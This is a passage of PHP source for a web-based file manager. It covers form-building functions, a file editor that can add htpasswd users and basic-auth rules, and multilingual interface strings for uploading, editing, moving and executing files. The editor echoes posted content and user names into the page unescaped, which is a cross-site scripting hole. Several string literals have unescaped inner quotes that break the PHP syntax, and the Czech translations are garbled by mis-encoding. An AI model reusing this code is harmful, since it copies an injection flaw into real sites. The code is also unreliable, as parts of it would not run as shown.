<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
</td>
</tr>
';
}
function upload_box()
{
global $cols;
echo '<tr>
<td colspan="' . $cols . '" id="upload">
' . word('file') . ':
<input type="file" name="upload" onfocus="activate(\'other\')" />
<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
</td>
</tr>
';
}
function create_box()
{
global $cols;
echo '<tr>
<td colspan="' . $cols . '" id="create">
<select name="create_type" size="1" onfocus="activate(\'create\')">
<option value="file">' . word('file') . '</option>
<option value="directory">' . word('directory') . '</option>
</select>
<input type="text" name="create_name" onfocus="activate(\'create\')" />
<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
</td>
</tr>
';
}
function edit($file)
{
global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
html_header();
echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
if (array_key_exists('content', $_POST)) {
echo $_POST['content'];
} else {
$f = fopen($file, 'r');
while (!feof($f)) {
echo html(fread($f, 8192));
}
fclose($f);
}
if (!empty($_POST['user'])) {
echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
}
if (!empty($_POST['basic_auth'])) {
if ($win) {
$authfile = str_replace('\\', '/', $directory) . $htpasswd;
} else {
$authfile = $directory . $htpasswd;
}
echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
echo 'AuthUserFile "' . html($authfile) . ""\n";
echo "Require valid-user";
}
echo "</textarea>\r\n\r\n\t<hr />\r\n";
if ($apache && basename($file) == $htpasswd) {
echo '
' . word('user') . ': <input type="text" name="user" />
' . word('password') . ': <input type="password" name="password" />
<input type="submit" value="' . word('add') . '" />
<hr />
';
}
if ($apache && basename($file) == $htaccess) {
echo '
<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
<hr />
';
}
echo '
<input type="hidden" name="action" value="edit" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
<input type="reset" value="' . word('reset') . '" id="red_button" />
<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
function spacer()
{
global $cols;
echo '<tr>
<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';
}
function textfieldsize($content)
{
$size = strlen($content) + 5;
if ($size < 30) {
$size = 30;
}
return $size;
}
function request_dump()
{
foreach ($_REQUEST as $key => $value) {
echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
}
}
/* ------------------------------------------------------------------------- */
function html($string)
{
global $site_charset;
return htmlentities($string, ENT_COMPAT, $site_charset);
}
function word($word)
{
global $words, $word_charset;
return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}
function phrase($phrase, $arguments)
{
global $words;
static $search;
if (!is_array($search)) {
for ($i = 1; $i <= 8; $i++) {
$search[] = "%{$i}";
}
}
for ($i = 0; $i < sizeof($arguments); $i++) {
$arguments[$i] = nl2br(html($arguments[$i]));
}
$replace = array('{' => '<pre>', '}' => '</pre>', '[' => '<b>', ']' => '</b>');
return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
}
function getwords($lang)
{
global $word_charset, $date_format;
switch ($lang) {
case 'de':
$date_format = 'd.m.y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Verzeichnis", "file" => "Datei", "filename" => "Dateiname", "size" => "Größe", "permission" => "Rechte", "owner" => "Eigner", "group" => "Gruppe", "other" => "Andere", "functions" => "Funktionen", "read" => "lesen", "write" => "schreiben", "execute" => "ausführen", "create_symlink" => "Symlink erstellen", "delete" => "löschen", "rename" => "umbenennen", "move" => "verschieben", "copy" => "kopieren", "edit" => "editieren", "download" => "herunterladen", "upload" => "hochladen", "create" => "erstellen", "change" => "wechseln", "save" => "speichern", "set" => "setze", "reset" => "zurücksetzen", "relative" => "Pfad zum Ziel relativ", "yes" => "Ja", "no" => "Nein", "back" => "zurück", "destination" => "Ziel", "symlink" => "Symbolischer Link", "no_output" => "keine Ausgabe", "user" => "Benutzername", "password" => "Kennwort", "add" => "hinzufügen", "add_basic_auth" => "HTTP-Basic-Auth hinzufügen", "uploaded" => "\"[%1]\" wurde hochgeladen.", "not_uploaded" => "\"[%1]\" konnte nicht hochgeladen werden.", "already_exists" => "\"[%1]\" existiert bereits.", "created" => "\"[%1]\" wurde erstellt.", "not_created" => "\"[%1]\" konnte nicht erstellt werden.", "really_delete" => "Sollen folgende Dateien wirklich gelöscht werden?", "deleted" => "Folgende Dateien wurden gelöscht:\n[%1]", "not_deleted" => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]", "rename_file" => "Benenne Datei um:", "renamed" => "\"[%1]\" wurde in \"[%2]\" umbenannt.", "not_renamed" => "\"[%1] konnte nicht in \"[%2]\" umbenannt werden.", "move_files" => "Verschieben folgende Dateien:", "moved" => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]", "not_moved" => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]", "copy_files" => "Kopiere folgende Dateien:", "copied" => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]", "not_copied" => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]", "not_edited" => "\"[%1]\" kann nicht editiert werden.", "executed" => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}", "not_executed" => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}", "saved" => "\"[%1]\" wurde gespeichert.", "not_saved" => "\"[%1]\" konnte nicht gespeichert werden.", "symlinked" => "Symbolischer Link von \"[%2]\" nach \"[%1]\" wurde erstellt.", "not_symlinked" => "Symbolischer Link von \"[%2]\" nach \"[%1]\" konnte nicht erstellt werden.", "permission_for" => "Rechte für \"[%1]\":", "permission_set" => "Die Rechte für \"[%1]\" wurden auf [%2] gesetzt.", "permission_not_set" => "Die Rechte für \"[%1]\" konnten nicht auf [%2] gesetzt werden.", "not_readable" => "\"[%1]\" kann nicht gelesen werden.");
case 'fr':
$date_format = 'd.m.y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Répertoire", "file" => "Fichier", "filename" => "Nom fichier", "size" => "Taille", "permission" => "Droits", "owner" => "Propriétaire", "group" => "Groupe", "other" => "Autres", "functions" => "Fonctions", "read" => "Lire", "write" => "Ecrire", "execute" => "Exécuter", "create_symlink" => "Créer lien symbolique", "delete" => "Effacer", "rename" => "Renommer", "move" => "Déplacer", "copy" => "Copier", "edit" => "Ouvrir", "download" => "Télécharger sur PC", "upload" => "Télécharger sur serveur", "create" => "Créer", "change" => "Changer", "save" => "Sauvegarder", "set" => "Exécuter", "reset" => "Réinitialiser", "relative" => "Relatif", "yes" => "Oui", "no" => "Non", "back" => "Retour", "destination" => "Destination", "symlink" => "Lien symbollique", "no_output" => "Pas de sortie", "user" => "Utilisateur", "password" => "Mot de passe", "add" => "Ajouter", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" a été téléchargé sur le serveur.", "not_uploaded" => "\"[%1]\" n a pas été téléchargé sur le serveur.", "already_exists" => "\"[%1]\" existe déjà.", "created" => "\"[%1]\" a été créé.", "not_created" => "\"[%1]\" n a pas pu être créé.", "really_delete" => "Effacer le fichier?", "deleted" => "Ces fichiers ont été détuits:\n[%1]", "not_deleted" => "Ces fichiers n ont pu être détruits:\n[%1]", "rename_file" => "Renomme fichier:", "renamed" => "\"[%1]\" a été renommé en \"[%2]\".", "not_renamed" => "\"[%1] n a pas pu être renommé en \"[%2]\".", "move_files" => "Déplacer ces fichiers:", "moved" => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]", "not_moved" => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]", "copy_files" => "Copier ces fichiers:", "copied" => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]", "not_copied" => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" ne peut être ouvert.", "executed" => "\"[%1]\" a été brillamment exécuté :\n{%2}", "not_executed" => "\"[%1]\" n a pas pu être exécuté:\n{%2}", "saved" => "\"[%1]\" a été sauvegardé.", "not_saved" => "\"[%1]\" n a pas pu être sauvegardé.", "symlinked" => "Un lien symbolique depuis \"[%2]\" vers \"[%1]\" a été crée.", "not_symlinked" => "Un lien symbolique depuis \"[%2]\" vers \"[%1]\" n a pas pu être créé.", "permission_for" => "Droits de \"[%1]\":", "permission_set" => "Droits de \"[%1]\" ont été changés en [%2].", "permission_not_set" => "Droits de \"[%1]\" n ont pas pu être changés en[%2].", "not_readable" => "\"[%1]\" ne peut pas être ouvert.");
case 'it':
$date_format = 'd-m-Y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Directory", "file" => "File", "filename" => "Nome File", "size" => "Dimensioni", "permission" => "Permessi", "owner" => "Proprietario", "group" => "Gruppo", "other" => "Altro", "functions" => "Funzioni", "read" => "leggi", "write" => "scrivi", "execute" => "esegui", "create_symlink" => "crea link simbolico", "delete" => "cancella", "rename" => "rinomina", "move" => "sposta", "copy" => "copia", "edit" => "modifica", "download" => "download", "upload" => "upload", "create" => "crea", "change" => "cambia", "save" => "salva", "set" => "imposta", "reset" => "reimposta", "relative" => "Percorso relativo per la destinazione", "yes" => "Si", "no" => "No", "back" => "indietro", "destination" => "Destinazione", "symlink" => "Link simbolico", "no_output" => "no output", "user" => "User", "password" => "Password", "add" => "aggiungi", "add_basic_auth" => "aggiungi autenticazione base", "uploaded" => "\"[%1]\" è stato caricato.", "not_uploaded" => "\"[%1]\" non è stato caricato.", "already_exists" => "\"[%1]\" esiste già.", "created" => "\"[%1]\" è stato creato.", "not_created" => "\"[%1]\" non è stato creato.", "really_delete" => "Cancello questi file ?", "deleted" => "Questi file sono stati cancellati:\n[%1]", "not_deleted" => "Questi file non possono essere cancellati:\n[%1]", "rename_file" => "File rinominato:", "renamed" => "\"[%1]\" è stato rinominato in \"[%2]\".", "not_renamed" => "\"[%1] non è stato rinominato in \"[%2]\".", "move_files" => "Sposto questi file:", "moved" => "Questi file sono stati spostati in \"[%2]\":\n[%1]", "not_moved" => "Questi file non possono essere spostati in \"[%2]\":\n[%1]", "copy_files" => "Copio questi file", "copied" => "Questi file sono stati copiati in \"[%2]\":\n[%1]", "not_copied" => "Questi file non possono essere copiati in \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" non può essere modificato.", "executed" => "\"[%1]\" è stato eseguito con successo:\n{%2}", "not_executed" => "\"[%1]\" non è stato eseguito con successo\n{%2}", "saved" => "\"[%1]\" è stato salvato.", "not_saved" => "\"[%1]\" non è stato salvato.", "symlinked" => "Il link siambolico da \"[%2]\" a \"[%1]\" è stato creato.", "not_symlinked" => "Il link siambolico da \"[%2]\" a \"[%1]\" non è stato creato.", "permission_for" => "Permessi di \"[%1]\":", "permission_set" => "I permessi di \"[%1]\" sono stati impostati [%2].", "permission_not_set" => "I permessi di \"[%1]\" non sono stati impostati [%2].", "not_readable" => "\"[%1]\" non può essere letto.");
case 'nl':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Directory", "file" => "Bestand", "filename" => "Bestandsnaam", "size" => "Grootte", "permission" => "Bevoegdheid", "owner" => "Eigenaar", "group" => "Groep", "other" => "Anderen", "functions" => "Functies", "read" => "lezen", "write" => "schrijven", "execute" => "uitvoeren", "create_symlink" => "maak symlink", "delete" => "verwijderen", "rename" => "hernoemen", "move" => "verplaatsen", "copy" => "kopieren", "edit" => "bewerken", "download" => "downloaden", "upload" => "uploaden", "create" => "aanmaken", "change" => "veranderen", "save" => "opslaan", "set" => "instellen", "reset" => "resetten", "relative" => "Relatief pat naar doel", "yes" => "Ja", "no" => "Nee", "back" => "terug", "destination" => "Bestemming", "symlink" => "Symlink", "no_output" => "geen output", "user" => "Gebruiker", "password" => "Wachtwoord", "add" => "toevoegen", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" is verstuurd.", "not_uploaded" => "\"[%1]\" kan niet worden verstuurd.", "already_exists" => "\"[%1]\" bestaat al.", "created" => "\"[%1]\" is aangemaakt.", "not_created" => "\"[%1]\" kan niet worden aangemaakt.", "really_delete" => "Deze bestanden verwijderen?", "deleted" => "Deze bestanden zijn verwijderd:\n[%1]", "not_deleted" => "Deze bestanden konden niet worden verwijderd:\n[%1]", "rename_file" => "Bestandsnaam veranderen:", "renamed" => "\"[%1]\" heet nu \"[%2]\".", "not_renamed" => "\"[%1] kon niet worden veranderd in \"[%2]\".", "move_files" => "Verplaats deze bestanden:", "moved" => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]", "not_moved" => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]", "copy_files" => "Kopieer deze bestanden:", "copied" => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]", "not_copied" => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan niet worden bewerkt.", "executed" => "\"[%1]\" is met succes uitgevoerd:\n{%2}", "not_executed" => "\"[%1]\" is niet goed uitgevoerd:\n{%2}", "saved" => "\"[%1]\" is opgeslagen.", "not_saved" => "\"[%1]\" is niet opgeslagen.", "symlinked" => "Symlink van \"[%2]\" naar \"[%1]\" is aangemaakt.", "not_symlinked" => "Symlink van \"[%2]\" naar \"[%1]\" is niet aangemaakt.", "permission_for" => "Bevoegdheid voor \"[%1]\":", "permission_set" => "Bevoegdheid van \"[%1]\" is ingesteld op [%2].", "permission_not_set" => "Bevoegdheid van \"[%1]\" is niet ingesteld op [%2].", "not_readable" => "\"[%1]\" kan niet worden gelezen.");
case 'se':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Mapp", "file" => "Fil", "filename" => "Filnamn", "size" => "Storlek", "permission" => "Säkerhetsnivå", "owner" => "Ägare", "group" => "Grupp", "other" => "Andra", "functions" => "Funktioner", "read" => "Läs", "write" => "Skriv", "execute" => "Utför", "create_symlink" => "Skapa symlink", "delete" => "Radera", "rename" => "Byt namn", "move" => "Flytta", "copy" => "Kopiera", "edit" => "Ändra", "download" => "Ladda ner", "upload" => "Ladda upp", "create" => "Skapa", "change" => "Ändra", "save" => "Spara", "set" => "Markera", "reset" => "Töm", "relative" => "Relative path to target", "yes" => "Ja", "no" => "Nej", "back" => "Tillbaks", "destination" => "Destination", "symlink" => "Symlink", "no_output" => "no output", "user" => "Användare", "password" => "Lösenord", "add" => "Lägg till", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" har laddats upp.", "not_uploaded" => "\"[%1]\" kunde inte laddas upp.", "already_exists" => "\"[%1]\" finns redan.", "created" => "\"[%1]\" har skapats.", "not_created" => "\"[%1]\" kunde inte skapas.", "really_delete" => "Radera dessa filer?", "deleted" => "De här filerna har raderats:\n[%1]", "not_deleted" => "Dessa filer kunde inte raderas:\n[%1]", "rename_file" => "Byt namn på fil:", "renamed" => "\"[%1]\" har bytt namn till \"[%2]\".", "not_renamed" => "\"[%1] kunde inte döpas om till \"[%2]\".", "move_files" => "Flytta dessa filer:", "moved" => "Dessa filer har flyttats till \"[%2]\":\n[%1]", "not_moved" => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]", "copy_files" => "Kopiera dessa filer:", "copied" => "Dessa filer har kopierats till \"[%2]\":\n[%1]", "not_copied" => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan inte ändras.", "executed" => "\"[%1]\" har utförts:\n{%2}", "not_executed" => "\"[%1]\" kunde inte utföras:\n{%2}", "saved" => "\"[%1]\" har sparats.", "not_saved" => "\"[%1]\" kunde inte sparas.", "symlinked" => "Symlink från \"[%2]\" till \"[%1]\" har skapats.", "not_symlinked" => "Symlink från \"[%2]\" till \"[%1]\" kunde inte skapas.", "permission_for" => "Rättigheter för \"[%1]\":", "permission_set" => "Rättigheter för \"[%1]\" ändrades till [%2].", "permission_not_set" => "Permission of \"[%1]\" could not be set to [%2].", "not_readable" => "\"[%1]\" kan inte läsas.");
case 'sp':
$date_format = 'j/n/y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Directorio", "file" => "Archivo", "filename" => "Nombre Archivo", "size" => "Tamaño", "permission" => "Permisos", "owner" => "Propietario", "group" => "Grupo", "other" => "Otros", "functions" => "Funciones", "read" => "lectura", "write" => "escritura", "execute" => "ejecución", "create_symlink" => "crear enlace", "delete" => "borrar", "rename" => "renombrar", "move" => "mover", "copy" => "copiar", "edit" => "editar", "download" => "bajar", "upload" => "subir", "create" => "crear", "change" => "cambiar", "save" => "salvar", "set" => "setear", "reset" => "resetear", "relative" => "Path relativo", "yes" => "Si", "no" => "No", "back" => "atrás", "destination" => "Destino", "symlink" => "Enlace", "no_output" => "sin salida", "user" => "Usuario", "password" => "Clave", "add" => "agregar", "add_basic_auth" => "agregar autentificación básica", "uploaded" => "\"[%1]\" ha sido subido.", "not_uploaded" => "\"[%1]\" no pudo ser subido.", "already_exists" => "\"[%1]\" ya existe.", "created" => "\"[%1]\" ha sido creado.", "not_created" => "\"[%1]\" no pudo ser creado.", "really_delete" => "¿Borra estos archivos?", "deleted" => "Estos archivos han sido borrados:\n[%1]", "not_deleted" => "Estos archivos no pudieron ser borrados:\n[%1]", "rename_file" => "Renombra archivo:", "renamed" => "\"[%1]\" ha sido renombrado a \"[%2]\".", "not_renamed" => "\"[%1] no pudo ser renombrado a \"[%2]\".", "move_files" => "Mover estos archivos:", "moved" => "Estos archivos han sido movidos a \"[%2]\":\n[%1]", "not_moved" => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]", "copy_files" => "Copiar estos archivos:", "copied" => "Estos archivos han sido copiados a \"[%2]\":\n[%1]", "not_copied" => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" no pudo ser editado.", "executed" => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}", "not_executed" => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}", "saved" => "\"[%1]\" ha sido salvado.", "not_saved" => "\"[%1]\" no pudo ser salvado.", "symlinked" => "Enlace desde \"[%2]\" a \"[%1]\" ha sido creado.", "not_symlinked" => "Enlace desde \"[%2]\" a \"[%1]\" no pudo ser creado.", "permission_for" => "Permisos de \"[%1]\":", "permission_set" => "Permisos de \"[%1]\" fueron seteados a [%2].", "permission_not_set" => "Permisos de \"[%1]\" no pudo ser seteado a [%2].", "not_readable" => "\"[%1]\" no pudo ser leído.");
case 'dk':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Mappe", "file" => "Fil", "filename" => "Filnavn", "size" => "Størrelse", "permission" => "Rettighed", "owner" => "Ejer", "group" => "Gruppe", "other" => "Andre", "functions" => "Funktioner", "read" => "læs", "write" => "skriv", "execute" => "kør", "create_symlink" => "opret symbolsk link", "delete" => "slet", "rename" => "omdøb", "move" => "flyt", "copy" => "kopier", "edit" => "rediger", "download" => "download", "upload" => "upload", "create" => "opret", "change" => "skift", "save" => "gem", "set" => "sæt", "reset" => "nulstil", "relative" => "Relativ sti til valg", "yes" => "Ja", "no" => "Nej", "back" => "tilbage", "destination" => "Distination", "symlink" => "Symbolsk link", "no_output" => "ingen resultat", "user" => "Bruger", "password" => "Kodeord", "add" => "tilføj", "add_basic_auth" => "tilføj grundliggende rettigheder", "uploaded" => "\"[%1]\" er blevet uploaded.", "not_uploaded" => "\"[%1]\" kunnu ikke uploades.", "already_exists" => "\"[%1]\" findes allerede.", "created" => "\"[%1]\" er blevet oprettet.", "not_created" => "\"[%1]\" kunne ikke oprettes.", "really_delete" => "Slet disse filer?", "deleted" => "Disse filer er blevet slettet:\n[%1]", "not_deleted" => "Disse filer kunne ikke slettes:\n[%1]", "rename_file" => "Omdød fil:", "renamed" => "\"[%1]\" er blevet omdøbt til \"[%2]\".", "not_renamed" => "\"[%1] kunne ikke omdøbes til \"[%2]\".", "move_files" => "Flyt disse filer:", "moved" => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]", "not_moved" => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]", "copy_files" => "Kopier disse filer:", "copied" => "Disse filer er kopieret til \"[%2]\":\n[%1]", "not_copied" => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan ikke redigeres.", "executed" => "\"[%1]\" er blevet kørt korrekt:\n{%2}", "not_executed" => "\"[%1]\" kan ikke køres korrekt:\n{%2}", "saved" => "\"[%1]\" er blevet gemt.", "not_saved" => "\"[%1]\" kunne ikke gemmes.", "symlinked" => "Symbolsk link fra \"[%2]\" til \"[%1]\" er blevet oprettet.", "not_symlinked" => "Symbolsk link fra \"[%2]\" til \"[%1]\" kunne ikke oprettes.", "permission_for" => "Rettigheder for \"[%1]\":", "permission_set" => "Rettigheder for \"[%1]\" blev sat til [%2].", "permission_not_set" => "Rettigheder for \"[%1]\" kunne ikke sættes til [%2].", "not_readable" => "\"[%1]\" Kan ikke læses.");
case 'tr':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Klasör", "file" => "Dosya", "filename" => "dosya adi", "size" => "boyutu", "permission" => "Izin", "owner" => "sahib", "group" => "Grup", "other" => "Digerleri", "functions" => "Fonksiyonlar", "read" => "oku", "write" => "yaz", "execute" => "çalistir", "create_symlink" => "yarat symlink", "delete" => "sil", "rename" => "ad degistir", "move" => "tasi", "copy" => "kopyala", "edit" => "düzenle", "download" => "indir", "upload" => "yükle", "create" => "create", "change" => "degistir", "save" => "kaydet", "set" => "ayar", "reset" => "sifirla", "relative" => "Hedef yola göre", "yes" => "Evet", "no" => "Hayir", "back" => "Geri", "destination" => "Hedef", "symlink" => "Kýsa yol", "no_output" => "çikti yok", "user" => "Kullanici", "password" => "Sifre", "add" => "ekle", "add_basic_auth" => "ekle basit-authentification", "uploaded" => "\"[%1]\" yüklendi.", "not_uploaded" => "\"[%1]\" yüklenemedi.", "already_exists" => "\"[%1]\" kullanilmakta.", "created" => "\"[%1]\" olusturuldu.", "not_created" => "\"[%1]\" olusturulamadi.", "really_delete" => "Bu dosyalari silmek istediginizden eminmisiniz?", "deleted" => "Bu dosyalar silindi:\n[%1]", "not_deleted" => "Bu dosyalar silinemedi:\n[%1]", "rename_file" => "Adi degisen dosya:", "renamed" => "\"[%1]\" adili dosyanin yeni adi \"[%2]\".", "not_renamed" => "\"[%1] adi degistirilemedi \"[%2]\" ile.", "move_files" => "Tasinan dosyalar:", "moved" => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]", "not_moved" => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]", "copy_files" => "Kopyalanan dosyalar:", "copied" => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]", "not_copied" => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" düzenlenemiyor.", "executed" => "\"[%1]\" basariyla çalistirildi:\n{%2}", "not_executed" => "\"[%1]\" çalistirilamadi:\n{%2}", "saved" => "\"[%1]\" kaydedildi.", "not_saved" => "\"[%1]\" kaydedilemedi.", "symlinked" => "\"[%2]\" den \"[%1]\" e kýsayol oluþturuldu.", "not_symlinked" => "\"[%2]\"den \"[%1]\" e kýsayol oluþturulamadý.", "permission_for" => "Izinler \"[%1]\":", "permission_set" => "Izinler \"[%1]\" degistirildi [%2].", "permission_not_set" => "Izinler \"[%1]\" degistirilemedi [%2].", "not_readable" => "\"[%1]\" okunamiyor.");
case 'cs':
$date_format = 'd.m.y H:i:s';
$word_charset = 'UTF-8';
return array("directory" => "AdresáÅ\x99", "file" => "Soubor", "filename" => "JmÃ\xa9no souboru", "size" => "Velikost", "permission" => "Práva", "owner" => "VlastnÃ\xadk", "group" => "Skupina", "other" => "OstatnÃ\xad", "functions" => "Funkce", "read" => "ÄŒtenÃ\xad", "write" => "Zápis", "execute" => "SpouÅ¡tÄ\x9bnÃ\xad", "create_symlink" => "VytvoÅ\x99it symbolický odkaz", "delete" => "Smazat", "rename" => "PÅ\x99ejmenovat", "move" => "PÅ\x99esunout", "copy" => "ZkopÃ\xadrovat", "edit" => "OtevÅ\x99Ã\xadt", "download" => "Stáhnout", "upload" => "Nahraj na server", "create" => "VytvoÅ\x99it", "change" => "ZmÄ\x9bnit", "save" => "Uložit", "set" => "Nastavit", "reset" => "zpÄ\x9bt", "relative" => "Relatif", "yes" => "Ano", "no" => "Ne", "back" => "ZpÄ\x9bt", "destination" => "Destination", "symlink" => "Symbolický odkaz", "no_output" => "Prázdný výstup", "user" => "Uživatel", "password" => "Heslo", "add" => "PÅ\x99idat", "add_basic_auth" => "pÅ\x99idej základnÃ\xad autentizaci", "uploaded" => "Soubor \"[%1]\" byl nahrán na server.", "not_uploaded" => "Soubor \"[%1]\" nebyl nahrán na server.", "already_exists" => "Soubor \"[%1]\" už exituje.", "created" => "Soubor \"[%1]\" byl vytvoÅ\x99en.", "not_created" => "Soubor \"[%1]\" nemohl být vytvoÅ\x99en.", "really_delete" => "Vymazat soubor?", "deleted" => "Byly vymazány tyto soubory:\n[%1]", "not_deleted" => "Tyto soubory nemohly být vytvoÅ\x99eny:\n[%1]", "rename_file" => "PÅ\x99ejmenuj soubory:", "renamed" => "Soubor \"[%1]\" byl pÅ\x99ejmenován na \"[%2]\".", "not_renamed" => "Soubor \"[%1]\" nemohl být pÅ\x99ejmenován na \"[%2]\".", "move_files" => "PÅ\x99emÃ\xadstit tyto soubory:", "moved" => "Tyto soubory byly pÅ\x99emÃ\xadstÄ\x9bny do \"[%2]\":\n[%1]", "not_moved" => "Tyto soubory nemohly být pÅ\x99emÃ\xadstÄ\x9bny do \"[%2]\":\n[%1]", "copy_files" => "ZkopÃ\xadrovat tyto soubory:", "copied" => "Tyto soubory byly zkopÃ\xadrovány do \"[%2]\":\n[%1]", "not_copied" => "Tyto soubory nemohly být zkopÃ\xadrovány do \"[%2]\":\n[%1]", "not_edited" => "Soubor \"[%1]\" nemohl být otevÅ\x99en.", "executed" => "SOubor \"[%1]\" byl spuÅ¡tÄ\x9bn :\n{%2}", "not_executed" => "Soubor \"[%1]\" nemohl být spuÅ¡tÄ\x9bn:\n{%2}", "saved" => "Soubor \"[%1]\" byl uložen.", "not_saved" => "Soubor \"[%1]\" nemohl být uložen.", "symlinked" => "Byl vyvoÅ\x99en symbolický odkaz \"[%2]\" na soubor \"[%1]\".", "not_symlinked" => "Symbolický odkaz \"[%2]\" na soubor \"[%1]\" nemohl být vytvoÅ\x99en.", "permission_for" => "Práva k \"[%1]\":", "permission_set" => "Práva k \"[%1]\" byla zmÄ\x9bnÄ\x9bna na [%2].", "permission_not_set" => "Práva k \"[%1]\" nemohla být zmÄ\x9bnÄ\x9bna na [%2].", "not_readable" => "Soubor \"[%1]\" nenÃ\xad možno pÅ\x99ečÃ\xadst.");
case 'ru':
$date_format = 'd.m.y H:i:s';
$word_charset = 'KOI8-R';
return array("directory" => "ëÁÔÁÌÏÇ", "file" => "æÁÊÌ", "filename" => "éÍÑ ÆÁÊÌÁ", "size" => "òÁÚÍÅÒ", "permission" => "ðÒÁ×Á", "owner" => "èÏÚÑÉÎ", "group" => "çÒÕÐÐÁ", "other" => "äÒÕÇÉÅ", "functions" => "æÕÎËÃÉÑ", "read" => "ÞÉÔÁÔØ", "write" => "ÐÉÓÁÔØ", "execute" => "×ÙÐÏÌÎÉÔØ", "create_symlink" => "óÄÅÌÁÔØ ÓÉÍÌÉÎË", "delete" => "ÕÄÁÌÉÔØ", "rename" => "ÐÅÒÅÉÍÅÎÏ×ÁÔØ", "move" => "ÐÅÒÅÄ×ÉÎÕÔØ", "copy" => "ËÏÐÉÒÏ×ÁÔØ", "edit" => "ÒÅÄÁËÔÉÒÏ×ÁÔØ", "download" => "ÓËÁÞÁÔØ", "upload" => "ÚÁËÁÞÁÔØ", "create" => "ÓÄÅÌÁÔØ", "change" => "ÐÏÍÅÎÑÔØ", "save" => "ÓÏÈÒÁÎÉÔØ", "set" => "ÕÓÔÁÎÏ×ÉÔØ", "reset" => "ÓÂÒÏÓÉÔØ", "relative" => "ÏÔÎÏÓÉÔÅÌØÎÙÊ ÐÕÔØ Ë ÃÅÌÉ", "yes" => "ÄÁ", "no" => "ÎÅÔ", "back" => "ÎÁÚÁÄ", "destination" => "ÃÅÌØ", "symlink" => "ÓÉÍ×ÏÌÉÞÅÓËÉÊ ÌÉÎË", "no_output" => "ÎÅÔ ×Ù×ÏÄÁ", "user" => "ðÏÌØÚÏ×ÁÔÅÌØ", "password" => "ðÁÒÏÌØ", "add" => "ÄÏÂÁ×ÉÔØ", "add_basic_auth" => "äÏÂÁ×ÉÔØ HTTP-Basic-Auth", "uploaded" => "\"[%1]\" ÂÙÌ ÚÁËÁÞÅÎ.", "not_uploaded" => "\"[%1]\" ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÚÁËÁÞÑÔØ.", "already_exists" => "\"[%1]\" ÕÖÅ ÓÕÝÅÓÔ×ÕÅÔ.", "created" => "\"[%1]\" ÂÙÌ ÓÄÅÌÁÎ.", "not_created" => "\"[%1]\" 